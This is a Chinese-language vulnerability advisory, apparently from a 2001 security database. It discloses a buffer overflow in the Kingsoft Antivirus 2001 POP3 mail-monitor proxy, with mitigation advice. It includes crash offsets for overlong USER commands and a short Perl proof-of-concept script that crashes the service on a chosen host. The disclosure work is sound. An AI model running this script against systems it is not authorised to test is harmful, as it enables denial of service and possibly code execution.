首页 -> 安全研究

安全研究

安全漏洞
金山毒霸2001邮件监控组件缓冲溢出漏洞

发布日期:2001-10-02
更新日期:2001-10-09

受影响系统:

金山毒霸2001
描述:

金山毒霸是国内广泛使用反病毒程序。金山毒霸2001的一个新功能称为邮件监控。可
以在邮件被接受之前扫描是否包含病毒或危险程序。其原理是在本机建立一个pop3代理
服务器,(用nc连到本机TCP/110可看到"+OK KAV2000 POP3 proxy ready!")。邮件客户
端通过此代理服务器接收邮件,也就是说在邮件到达客户端程序之前就接受金山毒霸2001
的扫描。

邮件监控功能由程序mailmon.exe完成,它没有设置IP地址过滤,任何主机都可进行连接,
而且没有日志记录。它还存在一个缓冲区溢出漏洞,如果向其提交一个包含超长用户名的
命令请求,就可能使其发生溢出。通常情况下这会导致程序崩溃,造成拒绝服务攻击。
如果发送精心构建的数据,攻击者也可能在打开邮件监控功能的主机上执行任意代码。

<*来源:tombkeeper (tombkeeper@126.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


tombkeeper (tombkeeper@126.com)提供了如下测试代码:

在Windows 2000 pro上测试具体情况如下:

当发送“USER xxxx...”,x数量小于等于987时,
不会发生缓冲溢出,此时远程系统自动断开连结。

当发送“USER xxxx...”,x数量等于988时,系统警告:
"0x0041fc02"指令引用的"0x00000000"内存。该内存不能为"read"。

当发送“USER xxxx...”,x数量等于989时,系统警告:
应用程序发生异常,unknown software exception (0xc000001e),位置为0x0041007a。

当发送“USER xxxx...”,x数量等于990时,系统警告:
"0x00007878"指令引用的"0x00007878"内存。该内存不能为"read"。

当发送“USER xxxx...”,x数量大于990,小于等于1867时,系统警告:
"0x78787878"指令引用的"0x78787878"内存。该内存不能为"read"。
"0x77e74a1d"指令引用的"0x7878786c"内存。该内存不能为"written"。

当发送“USER xxxx...”,x数量大于等于1868时,
无出错提示,程序自动终止。
-------------------------------------------------------------------------

以下代码请用于测试和研究的目的,请勿用于进攻非授权计算机。

#!/usr/bin/perl
#kavm.pl
#Code by tombkeeper@126.com
#Kav2001 MailMon.exe Exploit
#
#-------------------------------------------------------
#给初学者:键入“perl kavm.pl 127.0.0.1 988”
#          就会向你自己的TCP/110发送“USER xxx...”(988个x)
#-------------------------------------------------------
#匆忙完成,浅陋不堪,高手见笑。

use Net::POP3;

if ($#ARGV != 1) {
     print "Usage: perl $0 [host] [num]\n";
     exit;
} else {
     $host = $ARGV[0];
     $num = $ARGV[1];
}

$pop = Net::POP3->new($host);
$pop->user('x'x$num);
$pop->quit;


建议:

临时解决方案:

在厂商提供补丁之前暂不要使用邮件监控功能,或在单机防火墙上阻塞对本机TCP/110的访问。

厂商补丁:

厂商已经得知此问题。目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://antivirus.kingsoft.net/


浏览次数:3747
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障